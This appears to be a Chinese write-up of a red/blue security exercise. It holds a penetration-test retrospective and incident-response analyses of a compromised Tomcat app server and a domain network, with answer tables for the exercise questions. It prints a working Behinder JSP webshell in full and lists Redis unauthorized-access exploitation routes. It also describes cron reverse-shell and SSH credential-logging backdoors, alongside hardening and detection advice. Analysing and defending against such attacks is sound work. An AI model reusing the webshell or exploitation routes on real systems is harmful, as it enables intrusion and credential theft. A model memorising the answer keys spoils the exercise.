① 跳板/隧道选错了。 正确的做法是:先在一台边界机上拿到 root,再用 SSH 端口转发做隧道,而不是试图在低权 shell 里做中继。边界机(www / ops)有内网口,是天然的跳板 —— 本题在"想办法让低权进程转发流量"上耗了太多时间。

② 工具用法没确认就用它下结论。 判断端口开闭时用了 nc -z,而目标机上装的是传统 netcat,不支持 -z —— 那一批"端口关闭"的结论全是无效的(nc 报的是参数错误,不是连接失败)。

教训:用某个工具下结论之前,先确认这个工具在当前环境里用法有效(which + 看帮助)。更稳的做法是用不依赖外部工具的方式探测端口(bash 的 /dev/tcp)。

③ Redis 只拿到了"能连",没走完利用链。 Redis 未授权的利用是多条路:写 SSH 公钥、写 cron、写 webshell、主从复制加载模块、CONFIG SET dir/dbfilename 任意路径写文件。"能连上"只是第一步,真正的价值在于"能写文件" → "能执行"。本题停在了第一步。

④ 拿到入口不等于拿到权限。 MySQL 和 Tiny File Manager 都在等口令 —— 而口令应该去已经拿到的源码/配置里找(www 的源码包、门户配置文件),而不是硬猜。

15.3 加固与检测

加固:Redis 设 requirepass + bind 127.0.0.1 + rename-command 禁用危险命令;MySQL 强口令且只绑内网;Tiny File Manager 这类单文件工具不要暴露在 80 端口。

检测:CONFIG SET 调用审计;Redis 出现 SLAVEOF/MODULE LOAD 告警;内网 6379/3306 的非应用来源连接。


16. 上午场失败复盘

① 决策错误:在没有稳定隧道的情况下深入内网。 正确顺序是"先固化一台边界机的 root,再架隧道,再进内网",而不是边走边试。

② 把"工具用不了"当成"目标不给"。 端口探测用了不支持该参数的 nc,得出的"端口关闭"结论全是假的;命令执行"没回显"也一度被当成"马没生效"。

③ PoC 跑不通就判"漏洞不存在"。 ThinkCMF 那条链因为 PoC 里写了不存在的模块名而返回 404,被误判成"目标已修复"——实际是 payload 的问题。异常信息里已经写清了原因(模块不存在),读它比自己推断快。

④ 时间分配。 边界机(www/ops/tool)贡献了绝大多数 flag,内网两台投入产出比极低。在分数有限的演练里,"把边界机吃干净"通常比"啃内网"划算。


第二部分 应急响应(下午场)

场景总览

下午场是防守方视角,共三个场景、66 题:

场景目标题量得分本文位置
题目一 移动应用服务器应急响应溯源单机 tianjin26app(CentOS 7 + Tomcat)202100 / 2650题目一
题目二 企业网应急溯源域环境 corp.local 多机365500 / 5500题目二
题目三 APT 恶意样本深度分析EVIDENCE 10.0.20.50101800 / 2250题目三
合计669400 / 10400

未提交 7 题 / 1000 分:题目一 5 题 550 分、题目三 2 题 450 分。

三个场景的方法差异(这是分场景看的价值):

场景主战场核心证据主要难点
题目一单机 + 应用层流量包 + APK + 应用配置逆向自定义算法、解加密流量
题目二多机 + 域环境攻击者遗留脚本 + Windows 事件日志跨主机行为关联、口径歧义
题目三样本静态分析一个文档样本宏解包、WMI 持久化结构

题目一 · 移动应用服务器(20 题)

1.1 场景与证据

一台被入侵的生产服务器 tianjin26app(CentOS 7,Tomcat 监听 9999,对外 IP 202.0.1.32),配套一个移动端 APK。要求还原入侵过程并回答 20 个问题。

证据材料:

证据内容
流量包约 116 MB 全量抓包(含攻击全过程)
APK移动端安装包(含客户端逻辑)
应用日志Tomcat 访问日志、应用自身日志
系统日志/var/log/secure(认证事件)
主机文件系统/etc/crontab、/etc/shadow、SSH 组件、Web 目录

1.2 攻击链总览

① 逆向 APK,得到登录口令(客户端做了"加密"的本地校验) ② 用口令调 /api/login 登录,服务端下发带权限位的 JWT ③ 上传接口只校验 Content-Type → 传上伪装成 image/jpeg 的 .jsp ④ 冰蝎(Behinder)连上 webshell 执行命令(第一条:cat /etc/passwd) ⑤ 反弹 shell 出去(端口 4444) ⑥ 写 /etc/crontab 后门,每分钟回连 C2(202.0.1.130:8080) ⑦ 在图形终端上改 root 口令 ⑧ 以 root 身份 SSH 登录,并在 SSH 组件里植入"记录口令"的后门

这条链的每一步都对应一道题,所以先建立全景再看细节,比按题号顺序逐条查快得多。

1.3 逐题索引(Q1 – Q20)

题题目答案详解
Q1攻击此服务器所使用的 2 个 IP202.0.1.1、202.0.1.1301.4
Q2APK 登录成功时的密码zheshiyigefeichanghaodemimaI1.5
Q3APK 中有上传权限的秘钥LBa2b3c3451.6
Q4漏洞接口的 API 地址http://202.0.1.32:9999/api/upload1.6
Q5尝试上传但无权限的文件名1.png1.7
Q6上传的 webshell 原始文件名1.jsp1.7
Q7webshell 的密码Libai1.8
Q8通过 webshell 执行的第一条命令cat /etc/passwd1.9
Q9第一次反弹 shell 的端口44441.10
Q10webshell 查询的当前 shell 权限未解(线索:在 BasicInfo 的响应里)1.13
Q11爆破路径的次数未解(卡在口径歧义)1.13
Q12从服务器下载的文件的文件名importantfile.file1.11
Q13该文件解密后的内容一个 flag1.11
Q14通过什么文件修改的 root 密码未解1.13
Q15黑客设置的 root 密码未解(哈希撞出的那个是原有口令)1.13
Q16后门反连的 ip 和 port202.0.1.130:80801.10
Q17利用后门反连后执行的第一条命令rpm -qa | grep pam1.10
Q18被加 suid 权限的文件未解(全盘枚举无异常)1.13
Q19后门密码haomima1.12
Q20后门把口令记录在哪个文件/tmp/....(4 个 ASCII 点)1.12

1.4 Q1 两个攻击 IP:先建立"谁在和受害机说话"

方法

流量分析的第一步不是看内容,而是建立通信关系图:把"以受害机为目的地址"的流量按来源 IP 聚合计数。

结果天然分成两类:

来源 IP行为角色
202.0.1.1大量请求打 9999(Web 应用),另有 22 端口连接打进来的人
202.0.1.130受害机主动连接过去被连出去的 C2

一个关键点:怎么区分攻击者和背景噪声

全量包里噪声很多(同网段的协议广播、扫描、应用自身的遥测流量等)。判据不是"包多不多",而是"是否与受害机存在业务或会话关联" —— 一个 IP 只要和受害机没有真实的会话,无论包多少都该排除。

加固与检测

  • 对"从非业务网段访问管理端口(9999/22)"告警
  • 重点监控受害机的主动外连(见 1.10)—— 这是后门最强的网络特征

1.5 Q2 APK 登录口令:客户端"加密"的伪安全

发现

反编译 APK(jadx / apktool)后,登录页的代码里有这么一段:

java
if (CipherUtil.encrypt(输入框.getText().toString(), 2) .equals("<一段 28 字符的密文>")) { // 本地校验通过,才发登录请求 }

两个致命问题:

  1. 口令的"正确值"以密文形式硬编码在客户端 —— 只要加密可逆,口令就能直接算出来
  2. 本地校验通过后才发请求 —— 甚至不用连服务器就能逆出全部合法口令

算法与逆向

CipherUtil.encrypt(str, n) 分三步:

  1. 把明文按 n 组切块(n=2 时即前后两半)
  2. 交织:把两半逐字符交替拼起来
  3. 逐字符异或其下标:out[j] = in[j] ^ j

异或下标是自反运算(X ^ j ^ j = X),所以解密等于加密 —— 同一个函数跑两遍就还原。

逆推路径:密文 → 反异或(每字符异或它的下标)→ 反交织(按 2 组还原)→ 明文。

验证信号:解出来的明文是一串拼音"这是一个非常好的密码" —— 语义自洽就是最好的验证,比任何工具提示都可靠。

一个逆向技巧:反编译结果有歧义时回到字节码

初读反编译结果时,那行异或容易被看成"乘以索引"(^ 与 * 在某些视图里难区分)。但用作密文验算立刻就能证伪:密文长度 28,若按 3 组分组则 28/3 不是整数,逻辑不成立。

正确做法是回到字节码:反汇编取原始指令,看到操作码 0x5E —— 那就是 ^(异或)运算符本身(0x2A 才是 *)。

教学点:反编译视图只是参考,字节码才是真相。遇到逻辑不自洽、或涉及运算符歧义时,一定回到指令层确认。

为什么这类"自定义加密"毫无安全性

问题说明
密钥就是位置异或的量是下标 j,攻击者不需要任何密钥
算法即密钥客户端代码里同时有算法和密文,素材齐备
自反性加密解密同一个函数,逆向成本为零
无随机性相同明文永远产生相同密文,可预计算

根本问题:客户端是攻击者的地盘。 放在客户端里的任何"密钥"都不是密钥。硬编码在 APP 里的"加密校验"只是混淆,不是安全机制。

加固与检测

加固:口令只在服务端校验并对登录接口限速;必须本地校验时用不可逆派生算法(PBKDF2/Argon2),且不泄露"正确密文";密钥用 Android Keystore(硬件级)。

检测:APK 里的硬编码凭据扫描(CI 阶段就该做);同一来源的大量登录尝试。

1.6 Q3 / Q4 上传秘钥与漏洞接口:JWT 权限位与弱签名密钥

三处证据串起来

位置内容
APK 代码硬编码的服务端 base 地址与上传接口路径
流量包上传请求带一个请求头,值是 JWT
服务端配置access-flag-key(签发密钥)、normal-permission: 0、manager-permission: 1、expired-seconds: 300

JWT 的结构是 base64url(头).base64url(载荷).签名 —— 载荷是明文可读的,解出来是 {"root":"0", ...}。

所以 Q4 的 API 地址就是 APK 里硬编码的上传接口(http://202.0.1.32:9999/api/upload),Q3 的秘钥就是服务端配置里的签名密钥 LBa2b3c345。

两个设计缺陷

缺陷一:权限位放在了客户端可读的载荷里。 JWT 只保证完整性(改动会被签名发现),不保证机密性(载荷只是 base64)。把 root 权限位放进去,等于把权限模型告诉攻击者,并指明了篡改方向。

缺陷二:签名密钥太弱。 10 个字符的字母数字组合属于可以离线爆破的强度。JWT 的 HMAC 签名可以直接用 hashcat 跑(JWT / HS256 对应 -m 16500)。

密钥一旦泄露或被爆破,攻击者就能自己签发 {"root":"1"} 的合法 token —— 权限校验彻底失效。

加固与检测

加固:权限必须从服务端会话/数据库取,不信任 token 载荷里的声明;签名密钥用强随机值并定期轮换;exp 保持短(本题 300 秒是合理的,问题在别处)。

检测:同一密钥签发的 token 权限位突然变化;JWT 载荷里出现权限类字段(设计层面就该避免)。

1.7 Q5 / Q6 上传的两个文件名:原始名只在 multipart 头里

两道题问的是两次不同的上传

  • Q5:"尝试上传但无上传权限的文件名" → 被拒的那次 → 1.png
  • Q6:"上传的 webshell 的原始文件名" → 成功的那次 → 1.jsp

两个答案都在 HTTP 请求体的 multipart 头里:

http
Content-Disposition: form-data; name="avatar"; filename="1.jsp" Content-Type: image/jpeg ← 伪装成图片

关键点:服务器上落地的是随机名(一个看不出规律的长文件名)。"原始文件名"只存在于流量里 —— 文件系统上的名字 ≠ 用户上传时的名字。

取证要点:题目问的"名字"要分清是哪一种 —— 原始名(multipart 的 filename=)、落地名(文件系统)、对外 URL 名(Web 路径)。三者是三个不同的东西。

上传的三道关,本题只过了一道

关卡正确做法本题的实现结果
认证有效会话JWT 校验通过过了
授权服务端判断"这个用户能不能上传"token 里 root=0(普通用户)拦住了
文件类型扩展名白名单 + 内容嗅探只看了 Content-Type被绕过

一个重要观察:上传被拒时服务器返回的是明确的拒绝信息 —— 说明授权检查是有效的,攻击者是靠"拿到更高权限的 token"(1.6 的缺陷)越过的,不是靠绕过类型检查。

为什么只校验 Content-Type 等于不校验:那只是客户端在 multipart 头里自己写的字符串,改一下就行。正确做法是读文件内容的魔数(FF D8 FF = JPEG、89 50 4E 47 = PNG),或者用图片库尝试解码,能解码成功才算图片。

加固与检测

加固(上传的标准防线):① 扩展名白名单且忽略客户端提交的类型;② 内容嗅探(魔数/试解码);③ 重命名,丢弃用户提供的文件名与扩展名;④ 存到 Web 根之外,通过专门的下载接口读取;⑤ 上传目录禁止脚本解析;⑥ 图片二次编码,彻底摧毁夹带代码。

检测:上传目录出现脚本扩展名(.jsp/.php/.aspx)的实时告警;Content-Type 与实际文件魔数不一致。

1.8 Q7 webshell 与口令:冰蝎 JSP 逐行解读

从上传的请求体里能把 webshell 的原始 JSP 源码完整捞出来(服务器上只有随机名,源码只在流量里):

jsp
<%!class U extends ClassLoader{ U(ClassLoader c){super(c);} public Class g(byte []b){return super.defineClass(b,0,b.length);} }%> <% if (request.getParameter("Libai")!=null){ String k=(""+UUID.randomUUID()).replace("-","").substring(16); session.putValue("u",k); out.print(k); return; } Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES")); new U(this.getClass().getClassLoader()) .g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))) .newInstance().equals(pageContext); %>

逐段解读:

代码含义
class U extends ClassLoader + defineClass从内存字节码定义类 —— 载荷不落地到磁盘,是"无文件"技术
getParameter("Libai")参数名就是密码(Q7 的答案)。注意大小写敏感,写错握手不会触发
UUID...substring(16)生成 16 字符随机数 —— AES-128 需要 16 字节密钥
session.putValue("u", k)密钥存在 session 里(不在 cookie、不在磁盘)
out.print(k)把密钥明文返回给客户端 —— 这就是握手
Cipher.getInstance("AES")Java 默认模式就是 ECB(AES/ECB/PKCS5Padding)
c.init(2, ...)2 = 解密模式
decodeBuffer(request.getReader().readLine())请求体是 base64 编码的密文
.newInstance().equals(pageContext)反射调用载荷类,用 equals 触发执行(巧妙的触发点)

加固与检测

加固:删除 webshell;Web 目录完整性监控(新增 .jsp 立即告警);Java 应用侧对动态类加载做监控(RASP / javaagent 挂钩 defineClass)。

检测(这组特征极干净):响应体以 cafebabe 开头(Java class 魔数,误报率极低,强烈建议在 WAF/代理层做);请求体是 base64 且长度是 16 的倍数;固定参数名 + 16 位随机返回值的握手模式;磁盘上只有"加载器"而没有载荷。

1.9 Q8 冰蝎流量解密:从密文到第一条命令

密钥协商

客户端 ── GET /<shell>.jsp?Libai=<值> ──→ 服务端 客户端 ←── <16 字符明文密钥> ──────────── 服务端 (此后所有请求都用这把密钥加解密)

关键发现:同一把密钥跨 TCP 流复用。 原因:密钥存在服务端的 HTTP session 里,而 HTTP/1.1 的多个请求可能落在不同 TCP 连接上,但 session 是同一个。

对蓝队的意义:同一把密钥出现在多条 TCP 流里,是"Web 层会话"而不是"TCP 层会话"的强特征。 关联分析时应按密钥归并攻击者行为,而不是按 TCP 连接。

解密步骤

  1. 拿到会话密钥:就是握手请求的响应内容(16 字符)
  2. 密钥是"16 个字符的原始字节",不是把这 16 个字符当十六进制解码 —— 这一步极易搞错("看起来像 hex 的字符串"和"真正的 hex"是两回事)
  3. 请求体 base64 解码 → AES-128-ECB 解密

最重要的坑:请求和响应的编码方式不对称 —— 请求体是 base64,响应体是裸二进制。分析加密流量时不要假设两边用同一种编码,先把两边分别 dump 成二进制看特征再决定怎么解。

解密后是什么

解密出来是 Java .class 字节码(魔数 cafebabe)。而 Java class 的常量池里字符串是明文存放的 —— 所以攻击者执行了什么命令,strings 就能看到。

按模块名统计能看出攻击者用了哪些功能:

payload/java/Cmd ← 命令执行 payload/java/ConnectBack ← 反弹 shell payload/java/FileOperation ← 文件管理 payload/java/BasicInfo ← 连上后自动发的"基本信息"(不是命令)

Q8 的答案(cat /etc/passwd —— 查系统账号,拿 shell 后最典型的第一步)就直接躺在常量池里。

★ 一个必须记住的教训

只解密第一条 TCP 流,会得出"攻击者只用了文件管理功能、没有执行过命令"的错误结论 —— 因为第一条流里确实只有 BasicInfo 和 FileOperation。

必须把所有含 webshell 请求的流全部枚举出来再统计,才能看到 Cmd 和 ConnectBack。

教训:取证时"样本不足"会直接导致结论错误。先把全集枚举出来,再下判断。

加固与检测

同 1.8。补充一条:统计攻击者用过的模块(Cmd / ConnectBack / FileOperation)能还原攻击意图,比单看某一条命令更有价值 —— 出现 ConnectBack 就意味着还有后续的反弹 shell 要查。

1.10 Q9 / Q16 / Q17 后门与反连:看服务器的主动外连

Q9 第一次反弹 shell 的端口

方法:看服务器的主动外连 —— 按目标端口统计第一次 SYN 的分布,一眼分清人工操作和定时任务。

目标端口次数判断
44441 次人工操作的第一次反弹 shell(Q9 的答案)
8080几十次(每分钟一次)cron 后门的心跳

次数分布本身就是情报:1 次 = 人工;几十次 = 定时任务。

Q16 后门反连的 ip 和 port

/etc/crontab 里被塞了一条每分钟执行的反弹 shell,回连 202.0.1.130:8080。文件 mtime 就是写入时刻,与流量里的时间能互相印证。

Q17 反连后执行的第一条命令

这条后门是明文 bash(不走加密通道),所以命令在流量里可读。答案是 rpm -qa | grep pam —— 查系统装了哪些 PAM 包。

为什么第一条命令是查 PAM:这是在为本地提权做准备(PAM 是 Linux 认证模块,与"改口令/绕过认证"直接相关)。攻击者的命令序列本身就在讲述他的意图 —— 从 cat /etc/passwd 到 rpm -qa | grep pam,路线是"看账号 → 找认证弱点"。

一个判据:明文通道 + 多会话的流量里,要挑包数最多的那条会话看 —— 那才是攻击者真正交互的会话(其余多是每分钟一次的空白会话)。

加固与检测

加固:/etc/crontab 与 cron 目录的完整性监控;出站连接白名单(应用服务器不应主动连任意端口)。

检测:受害机的异常主动外连(后门最强特征);固定周期(60s)的规律性连接是心跳后门的典型特征;明文反弹 shell 在流量里可见(/dev/tcp、bash -i)。

1.11 Q12 / Q13 被下载的文件:单字节异或与已知明文攻击

访问日志里能看到攻击者下载了 /static/ 下的一个文件(Q12 的答案)。这个文件的内容是 base64,解码后与 0x11 逐字节异或才得到明文(Q13)。

怎么知道密钥是 0x11 —— 已知明文攻击(KPA)

密文前 5 字节: 77 7d 70 76 6a 明文前 5 字节: 66 6c 61 67 7b (f l a g {) 异或: 11 11 11 11 11 ← 密钥 = 0x11,五个字节全一致

已知明文攻击的思路极其通用:任何有固定格式的数据都能直接泄露密钥流 —— flag、JSON({")、XML(<?xml)、HTTP(GET /)、图片头(FF D8 FF)……

另一个判据是长度自洽:38 字节 = flag{(5) + 32 位十六进制 + }(1) —— 长度对得上,强烈提示明文是 flag。

加固与检测

加固:不要用异或当加密(那是编码不是加密);敏感文件不要放在 Web 目录下(本例直接在 /static/ 下 HTTP 可下);下载接口加认证与授权。

检测:Web 目录下敏感文件的访问;从 /static/ 这类静态目录下载非常规扩展名文件。

1.12 Q19 / Q20 SSH 套件被重编译:一次教科书级的后门

Q19 发现方法:rpm -V

RPM 系的完整性校验(Debian 系对应 debsums):

S.5....T. /usr/sbin/sshd S.5....T. /usr/bin/ssh ...
字符含义
SSize 不同
5MD5 校验和不同
Tmtime 不同
U/G属主 / 属组不同
M权限不同

Size 和 MD5 同时变化 = 文件内容被替换(不只是权限或时间戳被动过)。被篡改的是整个 SSH 套件:ssh、scp、sftp、ssh-add、ssh-keygen、ssh-agent、sshd、ssh-keysign —— 而且是用目标机同版本的编译器本地重编译的。

rpm -V 是主机取证中性价比最高的一条命令:不需要基线库、不需要事先准备,直接就能发现"系统文件被动过"。很多入侵排查漏掉 rootkit,就是因为没跑这一条。

找后门功能:strings 找"不该出现的字符串"

判据不是"这个字符串看着可疑",而是**"原版程序里不会有这个字符串"**:

haomima ← 后门万能密码(Q19 的答案) /tmp/... ← 口令记录文件(3 个点) user:password --> %s:%s ← 记录格式串

万能密码的实现原理:在口令校验函数里插入短路判断,只要口令等于那个固定串就直接返回"认证成功",绕过 PAM(系统真正的认证模块根本不会被调用)。

这解释了蓝队最困惑的现象:日志里有 "Accepted password",但口令可能是错的 —— 因为认证被短路了,日志记录的是"结果"而不是"真实校验"。"日志显示登录成功"不等于"口令正确"。

Q20 记录文件到底叫什么:从字符串偏移到 ELF 字节

strings 能看到有 /tmp/... 这样的路径,但看不到它是哪个文件、由谁写。怎么确定?—— 反汇编 + ELF 偏移换算。

第一步:拿字符串的"文件偏移"(strings -t x 会给出偏移):

4c788 user:password@host --> %s:%s@%s

第二步:反汇编,找谁引用了它:

asm
mov $0x4483f0,%esi ; fopen 的第 2 个参数 = mode mov $0x44c300,%edi ; fopen 的第 1 个参数 = path ← 路径在这里 callq fopen mov $0x44c788,%esi ; fprintf 的参数 = 格式串 callq fprintf callq fclose

看到 fopen + fprintf + fclose 三连,就确认了"打开文件 → 写记录 → 关闭"的日志写入逻辑。

第三步:理解 ELF 的地址映射。 strings 报的偏移是 0x4c788,而指令里的地址是 0x44c788 —— 差 0x400000。这是 ELF 加载时的段基址:

虚拟地址(VA) = 文件偏移 + 段基址 0x44c788 = 0x4c788 + 0x400000

想知道某个地址在文件里的位置,减去 0x400000 即可。

第四步:读原始字节。 在 0x4c300 处 dump:

004c2f8: 726f 723a 0a25 7300 2f74 6d70 2f2e 2e2e ror:.%s./tmp/... 004c308: 2e00 ... .-input_

拆解:72 6f 72 3a 0a 25 73 00 = ror:\n%s\0(上一个字符串的尾巴),接着 2f 74 6d 70 2f 2e 2e 2e 2e 00 = /tmp/.... —— /tmp/ 加 4 个 0x2E(点)。

这是本场景最硬的一条经验: 当字符串被读错、或被刻意混淆时,字节是唯一的真相来源。 攻击者用了两个视觉上极相似的文件名(3 个点和 4 个点),就是反取证设计 —— 肉眼极可能数错,而 xxd 出来的 2e 2e 2e 2e 是四个字节,没有歧义。

两半后门的分工(一个很有设计感的细节)

位置记录文件格式串方向
/usr/bin/ssh/tmp/....(4 点)user:password@host --> %s:%s@%s本机 SSH 出去时记录
/usr/sbin/sshd/tmp/...(3 点)user:password --> %s:%s别人 SSH 进来时记录

这是"双向窃取凭据"的完整设计:

  • 篡改 sshd → 记录所有登录进来的用户名口令(收集内网凭据,用于横向)
  • 篡改 ssh → 记录管理员从这台机器登录别处用的口令(跳板凭据,价值更高)

Q20 问的是 ssh 那一半(题目措辞是"SSH 口令记录文件"),所以答案是 4 个点那个。读题时要想清楚问的是哪一半。

从被篡改的二进制里"反向"读出攻击者的战果

那个记录文件里是几十行格式相同的记录,全部是同一个账号口令 —— 也就是说,攻击者自己的"战利品清单"就躺在系统里。

教学点:攻击者的工具往往是最好的情报来源。 应急响应不只是"清理后门",还要从攻击者留下的东西里读出他做了什么、偷了什么、用了什么口令 —— 这些直接决定了后续要轮换哪些凭据。

加固与检测

加固:rpm -V / AIDE 纳入日常巡检并基线化;关键二进制做文件完整性监控;开启 IMA 或 SELinux 完整性策略;改用证书/硬件密钥认证(让窃取口令失去价值);PermitRootLogin prohibit-password。

检测:/tmp 下非常规命名的隐藏文件;auditd 监控 ssh/sshd 的写入;"登录成功但 PAM 无对应记录"(认证绕过的强信号);定期 rpm -Va 全量校验。

1.13 未解五题(Q10、Q11、Q14、Q15、Q18)

这五题共 550 分,当时没有提交。把判断过程和正确路径写清楚。

Q10 webshell 当时查询的当前 shell 权限

卡点:这个信息在冰蝎 BasicInfo 载荷的服务端响应里(响应是裸二进制 AES + GB2312 编码)。当时只解了请求方向,没有把响应体也解出来。

线索:Tomcat 进程以某个低权用户运行(ps -eo user,args 能看到)。但**"Web 进程的用户"和"webshell 执行命令时的权限"要分开确认** —— 后者要看 BasicInfo 响应里的 user.name、os.name 等字段。

正确路径:把该会话所有服务端 → 客户端的裸二进制响应解密(注意响应不经过 base64),在里面找 user.name / whoami 的输出。

Q11 爆破路径的次数

卡点:口径歧义。 这是"数不清"的典型 —— 同一份访问日志能算出好几个不同的"次数":

口径数值
全天总请求行数2655
其中 404 的行数2596
攻击 IP 发起的请求数2652
其中 404 的2594
某小时的请求数2604
某个滚动窗口内的请求数2187(404 为 2177)
每分钟的速率约 115 次/分,持续约 22 分钟

试提交过多个数值都不对 —— 说明题目问的口径和"日志行数"不是一回事。

当时踩的一个技术坑:用 grep -c 404 统计会把响应体长度恰好含 404 的行也算进去 —— 应该匹配带分隔符的字段(" 404 "),而不是裸的 404。

正确路径:把每种口径都算出来列成表(总请求 / 404 / 特定 UA / 特定时间窗 / 去重后的路径个数),逐一对齐题意。"爆破路径的次数"很可能是"尝试了多少个不同的路径",而不是"发了多少个请求"。

顺带一条给蓝队的经验:404 占比 97.7% 本身就是入侵的强特征。正常业务不会产生这种分布 —— "短时间内单 IP 高比例 404"应该直接告警。

Q14 通过什么文件修改的 root 密码

试过并排除:/etc/shadow、/usr/bin/passwd、/bin/sed、/usr/bin/openssl、/etc/pam.d/passwd、/usr/sbin/chpasswd、/usr/bin/vi。

已知事实:/var/log/secure 里有一条 passwd: pam_unix(passwd:chauthtok): password changed for root,发生在图形终端(tty1)上 —— 攻击者是用 passwd 命令交互式改的,不是用脚本改文件。

正确路径:题目问"通过什么文件",那就要找改密行为实际写入的文件。注意"备份文件"这条线索 —— /etc/shadow- 是 shadow 的备份,它的 mtime 与改密时刻对应,说明改密流程确实动过它。也可能指向 /etc/pam.d/ 下的某个配置。

Q15 黑客设置的 root 密码(这题的判断错误最值得记)

当时的判断:用哈希爆破撞出了口令,就认为这是"黑客设置的 root 密码"。

为什么是错的:/etc/shadow 与 /etc/shadow- 的对比显示 —— root 的哈希从未变化。

这是本场景最有价值的一条教训: 值匹配不等于来源匹配。 哈希撞出密码、字符串检索命中关键词、二进制里出现目标字节序列 —— 这三类"命中"都只说明值存在,不说明它属于当前题目、或它是在题目所问的时间点被设置的。

那个口令是这台机器本来就有的(镜像构建时就设好的),跟攻击者无关。下结论前必须找反证 —— 对比一份备份文件往往比再追一条证据快得多。

正确路径:去攻击者的命令记录里找改密动作(webshell 的命令载荷、反弹 shell 的会话内容)。改密命令(如把 root:新口令 交给 chpasswd)会留下明文。先找"设定的动作",而不是先爆"当前的哈希"。

Q18 被加 SUID 的文件

卡点:全盘 SUID 枚举出来只有 22 个标准项,看不出多出来的是哪个。

为什么难:这台机器的镜像本身就是案发当天构建的 —— 大量系统文件的 mtime 都落在"案发日",用时间筛会得到一堆假阳性(环境安装脚本也会被算进来)。

教学点:时间戳会被污染,不能单靠 mtime 判断是否被篡改。 正确的判据是内容与归属:

bash
# 找出不属于任何软件包的 SUID 文件(最可靠的判据) for f in $(find / -xdev -perm -4000 -type f); do rpm -qf "$f" || echo "NOT OWNED: $f"; done

正常系统里 SUID 文件都应该属于某个包;"不属于任何包"的 SUID 文件基本可以确定是人加上去的。

正确路径:答案大概率在未读的命令载荷里(chmod u+s <文件>)。冰蝎的 Cmd 载荷解密后应该能找到。

一个可参考的藏匿手法:本演练的另一组在同类题目里找到的 SUID 后门放在 /usr/local/bin/ 下、以点开头伪装成系统文件 —— 点开头的文件在 ls 里默认不显示,这是很常见的藏匿方式。排查时加 -a(ls -la)或用 find -name ".*"。

1.14 本场景的加固与检测清单(汇总)

层次加固检测
移动端口令只服务端校验;不用自造加密;密钥进 KeystoreAPK 硬编码凭据扫描(CI 阶段)
认证授权权限取服务端会话;签名密钥强随机、定期轮换JWT 载荷不出现权限字段;同密钥 token 权限突变告警
文件上传扩展名白名单 + 内容嗅探 + 重命名 + 存 Web 根外 + 禁执行上传目录新增脚本告警;Content-Type 与魔数不一致
Web 容器删除 webshell;Web 目录完整性监控响应体 cafebabe 魔数;base64 长度 16 倍数;固定参数握手
主机持久化cron/计划任务完整性;/tmp noexec/etc/crontab 写入告警;/tmp 下脚本文件;固定 60s 周期外连
系统二进制rpm -V 巡检基线化;FIM;改用证书认证登录成功但 PAM 无记录;rpm -Va 全量校验;/tmp 隐藏文件
账号口令口令不落明文文件;凭据定期轮换/etc/shadow 与备份 diff;UID 唯一性

题目二 · 企业网应急溯源(36 题)

2.1 场景与拓扑

域环境 corp.local,防守方视角,该组最终满分。

主机地址角色
WEB-DMZ10.0.10.10 / 10.0.20.10对外 OA,双网卡网关 —— 攻击入口
DB-SRV10.0.20.20MySQL + Redis
DC-FILE10.0.20.30域控 / 文件服务器 —— 横向目标,勒索现场
PC-HR10.0.20.40办公终端 —— 钓鱼投递点
EVIDENCE10.0.20.50取证工作站,全量流量包
YJ-kali10.0.10.200攻击者主机,载荷投递与后门监听

2.2 攻击链总览

Log4Shell 打穿对外的 OA(WEB-DMZ) → 下载并执行 stage.sh,获得 Web 权限 → 本地提权 + 加后门账号 + systemd 持久化 + 心跳回连 → 用窃取的口令横向到 DB-SRV(Redis 未授权写 cron、MySQL 加后门账号、打包外传数据) → 继续横向到 DC-FILE(域账号横向登录 + Windows 后门) → 对 PC-HR 投递钓鱼邮件 → 宏下载远控 → 注册表持久化 → 最终在 DC-FILE 上执行勒索

两条方法论(本场景最省时间的经验):

  1. 先找攻击者留下的脚本,再逐题检索。 本题答案高度集中 —— WEB-DMZ 上的 stage.sh 一个文件里同时包含 C2 地址、systemd 服务名、后门账号与口令;DB-SRV 侧的脚本覆盖 Redis 配置项、计划任务路径、MySQL 后门账号口令、外传压缩包名。通读遗留物,效率远高于按题号顺序一条条查。
  2. ls -la 的属主列能指出入口。 stage.sh 的属主是跑 Web 应用的用户而不是 root → 攻击者当时持有的是 Web 权限 → 入侵起点在 Web 应用。一条命令就能确定方向。

2.3 逐题索引(#21 – #56)

题题目答案详解
#21攻击源 IP10.0.10.100(另有 10.0.10.200 作为 C2,需按方向区分)2.14
#22被攻击服务的监听地址10.0.10.10:80802.14
#23存在漏洞的组件版本号2.14.1(log4j-core-2.14.1.jar)2.4
#24JNDI 注入第一条命令id2.5
#25LDAP 地址10.0.10.200:13892.5
#26最先下载的脚本 URLhttp://10.0.10.200:8080/stage.sh2.5
#27数据外传的 HTTP 接口路径/upload.php2.7
#28最先下载脚本的绝对路径与最后修改时间/tmp/stage.sh,19:322.7
#29SSH 免密后门密钥被成功登录的次数52.14
#30新增后门用户名与 UIDsysadm,UID 02.6
#31后门账号密码Sys@Lab#Adm2.6
#32开机自启持久化项名称sys-health.service2.6
#33隐藏后门 60 秒回连的完整 URLhttp://10.0.10.200:8080/health2.6
#34配置文件里明文保存的数据库口令OaDb@Lab#7f3a2.7
#35内网扫描工具的版本号2.1.2(Fscan)2.7
#36被关掉的 Redis 配置项rdbcompression2.8
#37Redis 写入的计划任务文件路径/etc/cron.d/redis_sync2.8
#38计划任务后门回连 IP 与端口10.0.10.200:44442.8
#39打包外传的压缩包文件名db_export_<日期>.tar.gz2.8
#40MySQL 新增账号db_backup2.9
#41MySQL 后门账号口令Db@Backup20262.9
#42横向登录账号svc_backup2.10
#43该账号最后登录时间2026-09-22 20:112.10
#44后门账号加入的组未记录2.14
#45Windows 计划任务名称未记录2.14
#46Windows 后门程序路径未记录2.14
#47Windows 后门回连 C210.0.10.200:84432.10
#48勒索程序文件名与后缀未记录2.11
#49勒索信与邮箱未记录2.11
#50勒索首次执行时间未记录2.11
#51钓鱼邮件发件人hr@corp-help.com2.12
#52钓鱼邮件附件名季度考核通知.docm2.12
#53宏下载 URLhttp://10.0.10.200:8080/helper.exe2.13
#54恶意程序落地路径C:\Users\hruser\AppData\Local\Temp\helper.exe2.13
#55注册表 Run 键名OneDriveUpdate2.13
#56钓鱼远控回连 C210.0.10.200:84432.13

2.4 #23 存在漏洞的组件版本号

